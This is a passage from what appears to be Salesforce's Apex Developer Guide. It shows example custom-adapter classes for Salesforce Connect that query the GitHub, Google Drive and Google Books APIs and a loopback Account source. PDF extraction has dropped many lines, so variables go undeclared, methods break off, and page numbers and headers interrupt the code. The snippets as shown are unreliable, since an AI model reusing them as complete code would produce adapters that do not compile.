detect this condition.
if (context.tableSelection.filter != null) {
if (context.tableSelection.filter.type == DataSource.FilterType.EQUALS
&& 'ExternalId' == context.tableSelection.filter.columnName
&& context.tableSelection.filter.columnValue instanceOf String) {
String selection = (String)context.tableSelection.filter.columnValue;
return DataSource.TableResult.get(true, null,
tableSelection.tableSelected, findSingleResult(selection));
}
}
This code example assumes that you implemented a findSingleResult method that returns a single record, given the selected
ExternalId. Make sure that your code obtains the record that matches the requested ExternalId.
509
Apex Developer Guide Using Salesforce Features with Apex
SEE ALSO:
Apex Reference Guide: Filter Class
NOT_ The filter reverses how its child filter evaluates rows. Filters of this type can have only one subfilter.
// This only filters the results. Anything in the query that we don’t
// currently support, such as aggregation or sorting, is ignored.
return DataSource.TableResult.get(context, postFilterRecords(
context.tableSelection.filter, rows));
}
510
Apex Developer Guide Using Salesforce Features with Apex
511
Apex Developer Guide Using Salesforce Features with Apex
SEE ALSO:
Apex Reference Guide: Filter Class
• Custom adapters for Salesforce Connect are subject to the same limitations as any other Apex code. For example:
– All Apex governor limits apply.
– Test methods don’t support web service callouts. Tests that perform web service callouts fail. For an example that shows how
to avoid these failing tests by returning mock responses, see Google Drive™ Custom Adapter for Salesforce Connect on page
528.
• In Apex tests, use dynamic SOQL to query external objects. Tests that perform static SOQL queries of external objects fail.
SEE ALSO:
Dynamic SOQL
512
Apex Developer Guide Using Salesforce Features with Apex
DataSource.Connection Class
This example creates a class named GitHubDataSourceConnection. For this example to work, create a custom field on the
Product2 standard object. Specify the name of the custom text field as Repository, and select the External ID and Unique attributes.
/**
* Defines the connection to GitHub REST API v3 to support
* querying of GitHub profiles.
* Extends the DataSource.Connection class to enable
* Salesforce to sync the external system’s schema
* and to handle queries and searches of the external data.
**/
global class GitHubDataSourceConnection extends DataSource.Connection {
private DataSource.ConnectionParams connectionInfo;
/**
513
Apex Developer Guide Using Salesforce Features with Apex
/**
* Called to query and get results from the external
* system for SOQL queries, list views, and detail pages
* for an external object that’s associated with the
* external data source.
*
* The queryContext argument represents the query to run
* against a table in the external system.
*
* Returns a list of rows as the query results.
**/
override global DataSource.TableResult query(DataSource.QueryContext context) {
DataSource.Filter filter = context.tableSelection.filter;
String url, tableName;
if(context.tableSelection.tableSelected.equals('GithubIssues')) {
tableName = 'GithubIssues';
if (filter != null) {
String thisColumnName = filter.columnName;
if (thisColumnName != null &&
(thisColumnName.equals('ExternalId') ||
thisColumnName.equals('number')))
url = 'callout:GithubNC/issues/' + filter.columnValue;
else
url = 'callout:GithubNC/issues';
} else {
url = 'callout:GithubNC/issues';
}
} else if(context.tableSelection.tableSelected.equals('IssueComments')) {
tableName = 'IssueComments';
if (filter != null) {
String thisColumnName = filter.columnName;
if (thisColumnName != null &&
(thisColumnName.equals('ExternalId') ||
thisColumnName.equals('id')))
url = 'callout:GithubNC/issues/comments/' + filter.columnValue;
else
url = 'callout:GithubNC/issues/comments';
} else {
url = 'callout:GithubNC/issues/comments';
}
}
/**
* Filters, sorts, and applies limit and offset clauses.
**/
List<Map<String, Object>> rows = DataSource.QueryUtils.process(context, getData(url,
tableName));
514
Apex Developer Guide Using Salesforce Features with Apex
/**
* Defines the schema for the external system.
* Called when the Salesforce admin clicks “Validate and Sync”
* in the user interface for the external data source.
**/
override global List<DataSource.Table> sync() {
List<DataSource.Table> tables =new List<DataSource.Table>();
List<DataSource.Column> columns, commentsColumns;
columns = new List<DataSource.Column>();
commentsColumns = new List<DataSource.Column>();
//================================================================================
515
Apex Developer Guide Using Salesforce Features with Apex
reopened.put('Reopened', 'reopened');
stateReasonList.add(reopened);
Map<String, String> notPlanned = new Map<String,String>();
notPlanned.put('Not Planned', 'not_planned');
stateReasonList.add(notPlanned);
columns.add(DataSource.Column.picklist('State_Reason',stateReasonList));
columns.add(DataSource.Column.boolean('Locked'));
columns.add(DataSource.Column.text('Lock_Reason', 255));
columns.add(DataSource.Column.datetime('Created'));
columns.add(DataSource.Column.datetime('Updated'));
columns.add(DataSource.Column.datetime('Closed_At'));
tables.add(DataSource.Table.get('GithubIssues','repository_url', columns));
return tables;
}
/**
* Called to do a full text search and get results from
* the external system for SOSL queries and Salesforce
* global searches.
*
* The SearchContext argument represents the query to run
* against a table in the external system.
*
* Returns results for each table that the SearchContext
* requested to be searched.
**/
override global List<DataSource.TableResult> search(
DataSource.SearchContext context) {
List<DataSource.TableResult> results =
new List<DataSource.TableResult>();
return results;
}
516
Apex Developer Guide Using Salesforce Features with Apex
if(tableName.equals('GithubIssues')) {
url = 'callout:GithubNC/issues';
httpMethod = 'POST';
if(!String.isBlank(externalId)){
httpMethod = 'PATCH';
url = url+'/'+externalId;
}
obj.put('title', row.get('Title'));
obj.put('body', row.get('Description'));
obj.put('state', row.get('State'));
obj.put('state_reason', String.isBlank((String) row.get('State_Reason'))?
null: row.get('State_Reason'));
obj.put('closed_at', row.get('Closed_At'));
}
else if(tableName.equals('IssueComments')) {
url = 'callout:GithubNC/issues';
if(!String.isBlank(externalId)){
httpMethod = 'PATCH';
url = url+'/comments/'+externalId;
} else {
httpMethod = 'POST';
url = url+'/' + row.get('issue_number') + '/comments';
}
obj.put('body', row.get('Body'));
}
if(tableName.equals('GithubIssues')) {
HttpResponse responseForLock = null;
if(!String.isBlank(externalId)) {
Boolean currentlyLocked = isIssueLockedCurrently(url);
Boolean isLocked = (Boolean) row.get('Locked');
Boolean lockStatusChanged = currentlyLocked != isLocked;
if(lockStatusChanged) {
url = url + '/lock';
if(isLocked) {
Map<String, Object> lockReasonObj = new Map<String, Object>();
lockReasonObj.put('lock_reason', row.get('Lock_Reason'));
responseForLock = getResponse(url, 'PUT', lockReasonObj);
}
else {
responseForLock = getResponse(url, 'DELETE', null);
517
Apex Developer Guide Using Salesforce Features with Apex
if (responseForLock.getStatusCode() != 200) {
results.add(DataSource.UpsertResult.failure(
String.valueOf(row.get('ExternalId')), 'The callout resulted
in an error: ' + responseForLock.getStatusCode()+' - '+responseForLock.getBody()));
}
System.debug(responseForLock.getBody());
}
}
}
results.add(DataSource.UpsertResult.success(String.valueOf(externalId)));
}
return results;
}
}
} else if(tableName.equals('GithubIssues')) {
System.debug('Deletion not supported for GitHub Issues.');
results.add(DataSource.DeleteResult.failure(String.valueOf(context.externalIds),
'Deletion not supported for GitHub Issues.'));
}
return results;
}
/**
* Helper method to parse the data.
* The url argument is the URL of the external system.
* Returns a list of rows from the external system.
**/
public List<Map<String, Object>> getData(String url, String tableName) {
String response = getResponse(url, 'GET', null).getBody();
518
Apex Developer Guide Using Salesforce Features with Apex
/**
* Checks errors.
**/
Map<String, Object> error = (Map<String, Object>)responseBodyMap.get('error');
if (error!=null) {
List<Object> errorsList = (List<Object>)error.get('errors');
Map<String, Object> errors = (Map<String, Object>)errorsList[0];
String errorMessage = (String)errors.get('message');
throw new DataSource.OAuthTokenExpiredException(errorMessage);
}
return rows;
}
/**
* Helper method to populate the External ID and Display
* URL fields on external object records based on the 'id'
* value that’s sent by the external system.
*
* The Map<String, Object> item parameter maps to the data
* that represents a row.
*
* Returns an updated map with the External ID and
* Display URL values.
**/
public Map<String, Object> createRow(Map<String, Object> item, String tableName) {
Map<String, Object> row = new Map<String, Object>();
for ( String key : item.keySet() ) {
if(tableName.equals('GithubIssues')) {
if (key == 'number') {
row.put('ExternalId', item.get(key));
519
Apex Developer Guide Using Salesforce Features with Apex
} else if (key=='title') {
row.put('Title', item.get(key));
} else if (key=='body') {
row.put('Description', item.get(key));
} else if (key=='url') {
row.put('DisplayUrl', item.get(key));
} else if (key=='repository_url') {
String repoUrl = (String) item.get(key);
row.put('Repo_URL', repoUrl);
//extract repository name from the URL and add it to the Repo_Name
field
String repoName = repoUrl.substring(repoUrl.lastIndexOf('/')+1);
row.put('Repo_Name', repoName);
row.put(key, item.get(key));
} else if (key=='state') {
row.put('State', item.get(key));
} else if (key=='state_reason') {
row.put('State_Reason', item.get(key));
} else if (key=='locked') {
row.put('Locked', item.get(key));
} else if (key=='active_lock_reason') {
row.put('Lock_Reason', item.get(key));
} else if (key=='created_at' && item.get(key) != null) {
DateTime createdDateTime =
(DateTime)Json.deserialize('"'+item.get(key)+'"', DateTime.class);
row.put('Created', createdDateTime);
} else if (key=='updated_at' && item.get(key) != null) {
DateTime updatedDateTime =
(DateTime)Json.deserialize('"'+item.get(key)+'"', DateTime.class);
row.put('Updated', updatedDateTime);
} else if (key=='closed_at' && item.get(key) != null) {
DateTime closedDateTime =
(DateTime)Json.deserialize('"'+item.get(key)+'"', DateTime.class);
row.put('Closed_At', closedDateTime);
} else {
row.put(key, item.get(key));
}
}
else if (tableName.equals('IssueComments')) {
if (key=='id') {
row.put('ExternalId', item.get(key));
} else if (key=='url') {
row.put('DisplayUrl', item.get(key));
} else if (key == 'body') {
row.put('Body', item.get(key));
} else if (key=='user') {
Map<String, Object> ownerMap = (Map<String, Object>)item.get(key);
row.put('Created_By', ownerMap.get('login'));
} else if (key=='created_at' && item.get(key) != null) {
DateTime createdDateTime =
(DateTime)Json.deserialize('"'+item.get(key)+'"', DateTime.class);
row.put('Created', createdDateTime);
} else if (key=='updated_at' && item.get(key) != null) {
DateTime updatedDateTime =
520
Apex Developer Guide Using Salesforce Features with Apex
(DateTime)Json.deserialize('"'+item.get(key)+'"', DateTime.class);
row.put('Updated', updatedDateTime);
} else if (key=='issue_url') {
String issueUrl = (String) item.get(key);
row.put('issue_number', issueUrl.substring(issueUrl.lastIndexOf('/')+1));
} else {
row.put(key, item.get(key));
}
}
}
return row;
}
/**
* Checks errors.
**/
Map<String, Object> error = (Map<String, Object>) existingIssueBodyMap.get('error');
if (error!=null) {
List<Object> errorsList = (List<Object>)error.get('errors');
Map<String, Object> errors = (Map<String, Object>)errorsList[0];
String errorMessage = (String)errors.get('message');
throw new DataSource.OAuthTokenExpiredException(errorMessage);
}
/**
* The url argument is the URL of the external system.
* Returns the response from the external system.
**/
public HttpResponse getResponse(String url, String httpMethod, Map<String,Object>
issue) {
// Perform callouts for production (non-test) results.
Http httpProtocol = new Http();
HttpRequest request = new HttpRequest();
request.setEndpoint(url);
request.setMethod(httpMethod);
if(issue != null)
request.setBody(JSON.serialize(issue));
return httpProtocol.send(request);
}
}
521
Apex Developer Guide Using Salesforce Features with Apex
DataSource.Provider Class
This example creates a class named GitHubDataSourceProvider.
/**
* Extends the DataSource.Provider base class to create a
* custom adapter for Salesforce Connect. The class informs
* Salesforce of the functional and authentication
* capabilities that are supported by or required to connect
* to an external system.
**/
global class GitHubDataSourceProvider extends DataSource.Provider {
/**
* For simplicity, this example declares that the external
* system doesn’t require authentication by returning
* AuthenticationCapability.ANONYMOUS as the sole entry
* in the list of authentication capabilities.
**/
override global List<DataSource.AuthenticationCapability> getAuthenticationCapabilities()
{
List<DataSource.AuthenticationCapability> capabilities = new
List<DataSource.AuthenticationCapability>();
capabilities.add(DataSource.AuthenticationCapability.ANONYMOUS);
return capabilities;
}
/**
* Declares the functional capabilities that the
* external system supports, in this case
* only SOQL queries.
**/
override global List<DataSource.Capability> getCapabilities() {
List<DataSource.Capability> capabilities = new List<DataSource.Capability>();
capabilities.add(DataSource.Capability.ROW_QUERY);
capabilities.add(DataSource.Capability.ROW_CREATE);
capabilities.add(DataSource.Capability.ROW_UPDATE);
capabilities.add(DataSource.Capability.ROW_DELETE);
capabilities.add(DataSource.Capability.PICKLIST);
capabilities.add(DataSource.Capability.MULTI_PICKLIST);
capabilities.add(DataSource.Capability.SEARCH);
return capabilities;
}
/**
* Declares the associated DataSource.Connection class.
**/
override global DataSource.Connection getConnection(DataSource.ConnectionParams
connectionParams) {
return new GitHubDataSourceConnection(connectionParams);
}
}
522
Apex Developer Guide Using Salesforce Features with Apex
GitHubDataSourceConnection Class
/**
* Defines the connection to GitHub REST API v3 to support
* querying of GitHub profiles.
* Extends the DataSource.Connection class to enable
* Salesforce to sync the external system’s schema
* and to handle queries and searches of the external data.
**/
global class GitHubDataSourceConnection extends
DataSource.Connection {
private DataSource.ConnectionParams connectionInfo;
/**
* Constructor for GitHubDataSourceConnection
**/
global GitHubDataSourceConnection(
DataSource.ConnectionParams connectionInfo) {
this.connectionInfo = connectionInfo;
}
/**
* Called to query and get results from the external
* system for SOQL queries, list views, and detail pages
* for an external object that’s associated with the
* external data source.
*
* The queryContext argument represents the query to run
* against a table in the external system.
*
* Returns a list of rows as the query results.
**/
override global DataSource.TableResult query(
DataSource.QueryContext context) {
DataSource.Filter filter = context.tableSelection.filter;
String url;
if (filter != null) {
String thisColumnName = filter.columnName;
if (thisColumnName != null &&
(thisColumnName.equals('ExternalId') ||
thisColumnName.equals('login')))
url = 'https://api.github.com/users/'
+ filter.columnValue;
else
url = 'https://api.github.com/users';
} else {
523
Apex Developer Guide Using Salesforce Features with Apex
url = 'https://api.github.com/users';
}
/**
* Filters, sorts, and applies limit and offset clauses.
**/
List<Map<String, Object>> rows =
DataSource.QueryUtils.process(context, getData(url));
return DataSource.TableResult.get(true, null,
context.tableSelection.tableSelected, rows);
}
/**
* Defines the schema for the external system.
* Called when the administrator clicks “Validate and Sync”
* in the user interface for the external data source.
**/
override global List<DataSource.Table> sync() {
List<DataSource.Table> tables =
new List<DataSource.Table>();
List<DataSource.Column> columns;
columns = new List<DataSource.Column>();
columns.add(DataSource.Column.text('id', 255));
columns.add(DataSource.Column.text('name',255));
columns.add(DataSource.Column.text('company',255));
columns.add(DataSource.Column.text('bio',255));
columns.add(DataSource.Column.text('followers',255));
columns.add(DataSource.Column.text('following',255));
columns.add(DataSource.Column.url('html_url'));
columns.add(DataSource.Column.url('DisplayUrl'));
columns.add(DataSource.Column.text('ExternalId',255));
tables.add(DataSource.Table.get('githubProfile','login',
columns));
return tables;
}
/**
* Called to do a full text search and get results from
* the external system for SOSL queries and Salesforce
* global searches.
*
* The SearchContext argument represents the query to run
* against a table in the external system.
*
* Returns results for each table that the SearchContext
* requested to be searched.
**/
524
Apex Developer Guide Using Salesforce Features with Apex
// Search usernames
String url = 'https://api.github.com/users/'
+ context.searchPhrase;
results.add(DataSource.TableResult.get(
true, null, entity, getData(url)));
}
return results;
}
/**
* Helper method to parse the data.
* The url argument is the URL of the external system.
* Returns a list of rows from the external system.
**/
public List<Map<String, Object>> getData(String url) {
String response = getResponse(url);
/**
* Checks errors.
**/
Map<String, Object> error =
(Map<String, Object>)responseBodyMap.get('error');
if (error!=null) {
List<Object> errorsList =
(List<Object>)error.get('errors');
Map<String, Object> errors =
(Map<String, Object>)errorsList[0];
String errorMessage = (String)errors.get('message');
throw new
DataSource.OAuthTokenExpiredException(errorMessage);
}
525
Apex Developer Guide Using Salesforce Features with Apex
List<Object> fileItems =
(List<Object>)responseBodyMap.get('items');
if (fileItems != null) {
for (Integer i=0; i < fileItems.size(); i++) {
Map<String, Object> item =
(Map<String, Object>)fileItems[i];
rows.add(createRow(item));
}
} else {
rows.add(createRow(responseBodyMap));
}
return rows;
}
/**
* Helper method to populate the External ID and Display
* URL fields on external object records based on the 'id'
* value that’s sent by the external system.
*
* The Map<String, Object> item parameter maps to the data
* that represents a row.
*
* Returns an updated map with the External ID and
* Display URL values.
**/
public Map<String, Object> createRow(
Map<String, Object> item){
Map<String, Object> row = new Map<String, Object>();
for ( String key : item.keySet() ) {
if (key == 'login') {
row.put('ExternalId', item.get(key));
} else if (key=='html_url') {
row.put('DisplayUrl', item.get(key));
}
row.put(key, item.get(key));
}
return row;
}
/**
* Helper method to make the HTTP GET call.
* The url argument is the URL of the external system.
* Returns the response from the external system.
**/
public String getResponse(String url) {
// Perform callouts for production (non-test) results.
Http httpProtocol = new Http();
HttpRequest request = new HttpRequest();
request.setEndPoint(url);
request.setMethod('GET');
HttpResponse response = httpProtocol.send(request);
526
Apex Developer Guide Using Salesforce Features with Apex
return response.getBody();
}
}
GitHubDataSourceProvider Class
/**
* Extends the DataSource.Provider base class to create a
* custom adapter for Salesforce Connect. The class informs
* Salesforce of the functional and authentication
* capabilities that are supported by or required to connect
* to an external system.
**/
global class GitHubDataSourceProvider
extends DataSource.Provider {
/**
* For simplicity, this example declares that the external
* system doesn’t require authentication by returning
* AuthenticationCapability.ANONYMOUS as the sole entry
* in the list of authentication capabilities.
**/
override global List<DataSource.AuthenticationCapability>
getAuthenticationCapabilities() {
List<DataSource.AuthenticationCapability> capabilities =
new List<DataSource.AuthenticationCapability>();
capabilities.add(
DataSource.AuthenticationCapability.ANONYMOUS);
return capabilities;
}
/**
* Declares the functional capabilities that the
* external system supports, in this case
* only SOQL queries.
**/
override global List<DataSource.Capability>
getCapabilities() {
List<DataSource.Capability> capabilities =
new List<DataSource.Capability>();
capabilities.add(DataSource.Capability.ROW_QUERY);
return capabilities;
}
/**
* Declares the associated DataSource.Connection class.
**/
override global DataSource.Connection getConnection(
DataSource.ConnectionParams connectionParams) {
return new GitHubDataSourceConnection(connectionParams);
527
Apex Developer Guide Using Salesforce Features with Apex
}
}
SEE ALSO:
Adding Remote Site Settings
DriveDataSourceConnection Class
/**
* Extends the DataSource.Connection class to enable
* Salesforce to sync the external system’s schema
* and to handle queries and searches of the external data.
**/
global class DriveDataSourceConnection extends
DataSource.Connection {
private DataSource.ConnectionParams connectionInfo;
/**
* Constructor for DriveDataSourceConnection.
**/
global DriveDataSourceConnection(
DataSource.ConnectionParams connectionInfo) {
this.connectionInfo = connectionInfo;
}
/**
* Called when an external object needs to get a list of
* schema from the external data source, for example when
* the administrator clicks “Validate and Sync” in the
* user interface for the external data source.
**/
override global List<DataSource.Table> sync() {
List<DataSource.Table> tables =
new List<DataSource.Table>();
List<DataSource.Column> columns;
columns = new List<DataSource.Column>();
columns.add(DataSource.Column.text('title', 255));
columns.add(DataSource.Column.text('description',255));
columns.add(DataSource.Column.text('createdDate',255));
columns.add(DataSource.Column.text('modifiedDate',255));
columns.add(DataSource.Column.url('selfLink'));
columns.add(DataSource.Column.url('DisplayUrl'));
columns.add(DataSource.Column.text('ExternalId',255));
528
Apex Developer Guide Using Salesforce Features with Apex
tables.add(DataSource.Table.get('googleDrive','title',
columns));
return tables;
}
/**
* Called to query and get results from the external
* system for SOQL queries, list views, and detail pages
* for an external object that’s associated with the
* external data source.
*
* The QueryContext argument represents the query to run
* against a table in the external system.
*
* Returns a list of rows as the query results.
**/
override global DataSource.TableResult query(
DataSource.QueryContext context) {
DataSource.Filter filter = context.tableSelection.filter;
String url;
if (filter != null) {
String thisColumnName = filter.columnName;
if (thisColumnName != null &&
thisColumnName.equals('ExternalId'))
url = 'https://www.googleapis.com/drive/v2/'
+ 'files/' + filter.columnValue;
else
url = 'https://www.googleapis.com/drive/v2/'
+ 'files';
} else {
url = 'https://www.googleapis.com/drive/v2/'
+ 'files';
}
/**
* Filters, sorts, and applies limit and offset clauses.
**/
List<Map<String, Object>> rows =
DataSource.QueryUtils.process(context, getData(url));
return DataSource.TableResult.get(true, null,
context.tableSelection.tableSelected, rows);
}
/**
* Called to do a full text search and get results from
* the external system for SOSL queries and Salesforce
* global searches.
*
* The SearchContext argument represents the query to run
* against a table in the external system.
*
* Returns results for each table that the SearchContext
* requested to be searched.
**/
529
Apex Developer Guide Using Salesforce Features with Apex
return results;
}
/**
* Helper method to parse the data.
* The url argument is the URL of the external system.
* Returns a list of rows from the external system.
**/
public List<Map<String, Object>> getData(String url) {
String response = getResponse(url);
/**
* Checks errors.
**/
Map<String, Object> error =
(Map<String, Object>)responseBodyMap.get('error');
if (error!=null) {
List<Object> errorsList =
(List<Object>)error.get('errors');
Map<String, Object> errors =
(Map<String, Object>)errorsList[0];
String errorMessage = (String)errors.get('message');
throw new DataSource.OAuthTokenExpiredException(errorMessage);
}
List<Object> fileItems=(List<Object>)responseBodyMap.get('items');
if (fileItems != null) {
for (Integer i=0; i < fileItems.size(); i++) {
Map<String, Object> item =
(Map<String, Object>)fileItems[i];
rows.add(createRow(item));
}
} else {
rows.add(createRow(responseBodyMap));
530
Apex Developer Guide Using Salesforce Features with Apex
return rows;
}
/**
* Helper method to populate the External ID and Display
* URL fields on external object records based on the 'id'
* value that’s sent by the external system.
*
* The Map<String, Object> item parameter maps to the data
* that represents a row.
*
* Returns an updated map with the External ID and
* Display URL values.
**/
public Map<String, Object> createRow(
Map<String, Object> item){
Map<String, Object> row = new Map<String, Object>();
for ( String key : item.keySet() ) {
if (key == 'id') {
row.put('ExternalId', item.get(key));
} else if (key=='selfLink') {
row.put(key, item.get(key));
row.put('DisplayUrl', item.get(key));
} else {
row.put(key, item.get(key));
}
}
return row;
}
/**
* Helper method to make the HTTP GET call.
* The url argument is the URL of the external system.
* Returns the response from the external system.
**/
public String getResponse(String url) {
if (System.Test.isRunningTest()) {
// Avoid callouts during tests. Return mock data instead.
return mockResponse;
} else {
531
Apex Developer Guide Using Salesforce Features with Apex
DriveDataSourceProvider Class
/**
* Extends the DataSource.Provider base class to create a
* custom adapter for Salesforce Connect. The class informs
* Salesforce of the functional and authentication
* capabilities that are supported by or required to connect
* to an external system.
**/
global class DriveDataSourceProvider
extends DataSource.Provider {
/**
* Declares the types of authentication that can be used
* to access the external system.
**/
override global List<DataSource.AuthenticationCapability>
getAuthenticationCapabilities() {
List<DataSource.AuthenticationCapability> capabilities =
new List<DataSource.AuthenticationCapability>();
capabilities.add(
DataSource.AuthenticationCapability.OAUTH);
capabilities.add(
DataSource.AuthenticationCapability.ANONYMOUS);
return capabilities;
}
/**
* Declares the functional capabilities that the
* external system supports.
**/
override global List<DataSource.Capability>
getCapabilities() {
List<DataSource.Capability> capabilities =
new List<DataSource.Capability>();
capabilities.add(DataSource.Capability.ROW_QUERY);
capabilities.add(DataSource.Capability.SEARCH);
return capabilities;
}
/**
532
Apex Developer Guide Using Salesforce Features with Apex
BooksDataSourceConnection Class
/**
* Extends the DataSource.Connection class to enable
* Salesforce to sync the external system metadata
* schema and to handle queries and searches of the external
* data.
**/
global class BooksDataSourceConnection extends
DataSource.Connection {
/**
* Called when an external object needs to get a list of
* schema from the external data source, for example when
* the administrator clicks “Validate and Sync” in the
* user interface for the external data source.
**/
override global List<DataSource.Table> sync() {
533
Apex Developer Guide Using Salesforce Features with Apex
List<DataSource.Table> tables =
new List<DataSource.Table>();
List<DataSource.Column> columns;
columns = new List<DataSource.Column>();
columns.add(getColumn('title'));
columns.add(getColumn('description'));
columns.add(getColumn('publishedDate'));
columns.add(getColumn('publisher'));
columns.add(DataSource.Column.url('DisplayUrl'));
columns.add(DataSource.Column.text('ExternalId', 255));
tables.add(DataSource.Table.get('googleBooks', 'title',
columns));
return tables;
}
/**
* Google Books API v1 doesn't support sorting,
* so we create a column with sortable = false.
**/
private DataSource.Column getColumn(String columnName) {
DataSource.Column column = DataSource.Column.text(columnName,
255);
column.sortable = false;
return column;
}
/**
* Called to query and get results from the external
* system for SOQL queries, list views, and detail pages
* for an external object that's associated with the
* external data source.
*
* The QueryContext argument represents the query to run
* against a table in the external system.
*
* Returns a list of rows as the query results.
**/
override global DataSource.TableResult query(
DataSource.QueryContext contexts) {
DataSource.Filter filter = contexts.tableSelection.filter;
String url;
if (contexts.tableSelection.columnsSelected.size() == 1 &&
contexts.tableSelection.columnsSelected.get(0).aggregation ==
DataSource.QueryAggregation.COUNT) {
return getCount(contexts);
}
if (filter != null) {
String thisColumnName = filter.columnName;
if (thisColumnName != null &&
thisColumnName.equals('ExternalId')) {
url = 'https://www.googleapis.com/books/v1/' +
'volumes?q=' + filter.columnValue +
'&maxResults=1&id=' + filter.columnValue;
534
Apex Developer Guide Using Salesforce Features with Apex
/**
* Helper method to fetch results when maxResults is
* greater than 40 (the max value for maxResults supported
* by Google Books API v1).
**/
private DataSource.TableResult fetchData(
DataSource.QueryContext contexts, String url) {
Integer fetchSlot = (contexts.maxResults / 40) + 1;
List<Map<String, Object>> data =
new List<Map<String, Object>>();
Integer startIndex = contexts.offset;
for(Integer count = 0; count < fetchSlot; count++) {
data.addAll(getData(url + startIndex));
if(count == 0)
contexts.offset = 41;
else
contexts.offset += 40;
}
/**
535
Apex Developer Guide Using Salesforce Features with Apex
/**
* Called to do a full text search and get results from
* the external system for SOSL queries and Salesforce
* global searches.
*
* The SearchContext argument represents the query to run
* against a table in the external system.
*
* Returns results for each table that the SearchContext
* requested to be searched.
**/
override global List<DataSource.TableResult> search(
DataSource.SearchContext contexts) {
List<DataSource.TableResult> results =
new List<DataSource.TableResult>();
return results;
}
/**
* Helper method to parse the data.
* Returns a list of rows from the external system.
**/
public List<Map<String, Object>> getData(String url) {
HttpResponse response = getResponse(url);
String body = response.getBody();
536
Apex Developer Guide Using Salesforce Features with Apex
/**
* Checks errors.
**/
Map<String, Object> error =
(Map<String, Object>)responseBodyMap.get('error');
if (error!=null) {
List<Object> errorsList =
(List<Object>)error.get('errors');
Map<String, Object> errors =
(Map<String, Object>)errorsList[0];
String messages = (String)errors.get('message');
throw new DataSource.OAuthTokenExpiredException(messages);
}
return rows;
}
/**
* Helper method to populate a row based on source data.
*
* The item argument maps to the data that
* represents a row.
*
* Returns an updated map with the External ID and
* Display URL values.
**/
public Map<String, Object> createRow(
Map<String, Object> item) {
Map<String, Object> row = new Map<String, Object>();
for ( String key : item.keySet() ){
if (key == 'id') {
row.put('ExternalId', item.get(key));
} else if (key == 'volumeInfo') {
Map<String, Object> volumeInfoMap =
(Map<String, Object>)item.get(key);
row.put('title', volumeInfoMap.get('title'));
537
Apex Developer Guide Using Salesforce Features with Apex
row.put('description',
volumeInfoMap.get('description'));
row.put('DisplayUrl',
volumeInfoMap.get('infoLink'));
row.put('publishedDate',
volumeInfoMap.get('publishedDate'));
row.put('publisher',
volumeInfoMap.get('publisher'));
}
}
return row;
}
/**
* Helper method to make the HTTP GET call.
* The url argument is the URL of the external system.
* Returns the response from the external system.
**/
public HttpResponse getResponse(String url) {
Http httpProtocol = new Http();
HttpRequest request = new HttpRequest();
request.setEndPoint(url);
request.setMethod('GET');
request.setHeader('Authorization', 'Bearer '+
this.connectionInfo.oauthToken);
HttpResponse response = httpProtocol.send(request);
return response;
}
}
BooksDataSourceProvider Class
/**
* Extends the DataSource.Provider base class to create a
* custom adapter for Salesforce Connect. The class informs
* Salesforce of the functional and authentication
* capabilities that are supported by or required to connect
* to an external system.
**/
global class BooksDataSourceProvider extends
DataSource.Provider {
/**
* Declares the types of authentication that can be used
* to access the external system.
**/
override global List<DataSource.AuthenticationCapability>
getAuthenticationCapabilities() {
List<DataSource.AuthenticationCapability> capabilities =
new List<DataSource.AuthenticationCapability>();
capabilities.add(
DataSource.AuthenticationCapability.OAUTH);
capabilities.add(
DataSource.AuthenticationCapability.ANONYMOUS);
return capabilities;
538
Apex Developer Guide Using Salesforce Features with Apex
/**
* Declares the functional capabilities that the
* external system supports.
**/
override global List<DataSource.Capability>
getCapabilities() {
List<DataSource.Capability> capabilities = new
List<DataSource.Capability>();
capabilities.add(DataSource.Capability.ROW_QUERY);
capabilities.add(DataSource.Capability.SEARCH);
return capabilities;
}
/**
* Declares the associated DataSource.Connection class.
**/
override global DataSource.Connection getConnection(
DataSource.ConnectionParams connectionParams) {
return new BooksDataSourceConnection(connectionParams);
}
}
LoopbackDataSourceConnection Class
/**
* Extends the DataSource.Connection class to enable
* Salesforce to sync the external system’s schema
* and to handle queries and searches of the external data.
**/
global class LoopbackDataSourceConnection
extends DataSource.Connection {
/**
* Constructors.
**/
global LoopbackDataSourceConnection(
DataSource.ConnectionParams connectionParams) {
}
global LoopbackDataSourceConnection() {}
/**
* Called when an external object needs to get a list of
* schema from the external data source, for example when
* the administrator clicks “Validate and Sync†in the
* user interface for the external data source.
**/
539
Apex Developer Guide Using Salesforce Features with Apex
/**
* Called to query and get results from the external
* system for SOQL queries, list views, and detail pages
* for an external object that’s associated with the
* external data source.
*
* The QueryContext argument represents the query to run
* against a table in the external system.
*
* Returns a list of rows as the query results.
**/
override global DataSource.TableResult
query(DataSource.QueryContext context) {
if (context.tableSelection.columnsSelected.size() == 1 &&
context.tableSelection.columnsSelected.get(0).aggregation ==
DataSource.QueryAggregation.COUNT) {
integer count = execCount(getCountQuery(context));
List<Map<String, Object>> countResponse =
new List<Map<String, Object>>();
Map<String, Object> countRow =
new Map<String, Object>();
countRow.put(
context.tableSelection.columnsSelected.get(0).columnName,
count);
countResponse.add(countRow);
return DataSource.TableResult.get(context,countResponse);
} else {
List<Map<String,Object>> rows = execQuery(
getSoqlQuery(context));
return DataSource.TableResult.get(context,rows);
}
}
/**
* Called to do a full text search and get results from
* the external system for SOSL queries and Salesforce
* global searches.
*
* The SearchContext argument represents the query to run
540
Apex Developer Guide Using Salesforce Features with Apex
/**
* Helper method to execute the SOQL query and
* return the results.
**/
private List<Map<String,Object>>
execQuery(String soqlQuery) {
List<Account> objs = Database.query(soqlQuery);
List<Map<String,Object>> rows =
new List<Map<String,Object>>();
for (Account obj : objs) {
Map<String,Object> row = new Map<String,Object>();
row.put('Name', obj.Name);
row.put('NumberOfEmployees', obj.NumberOfEmployees);
row.put('ExternalId', obj.Id);
row.put('DisplayUrl',
URL.getOrgDomainUrl().toExternalForm() +
obj.Id);
rows.add(row);
}
return rows;
}
/**
* Helper method to get aggregate count.
**/
private integer execCount(String soqlQuery) {
integer count = Database.countQuery(soqlQuery);
return count;
}
/**
* Helper method to create default aggregate query.
**/
private String getCountQuery(DataSource.QueryContext context) {
String baseQuery = 'SELECT COUNT() FROM Account';
String filter = getSoqlFilter('',
context.tableSelection.filter);
if (filter.length() > 0)
return baseQuery + ' WHERE ' + filter;
return baseQuery;
}
/**
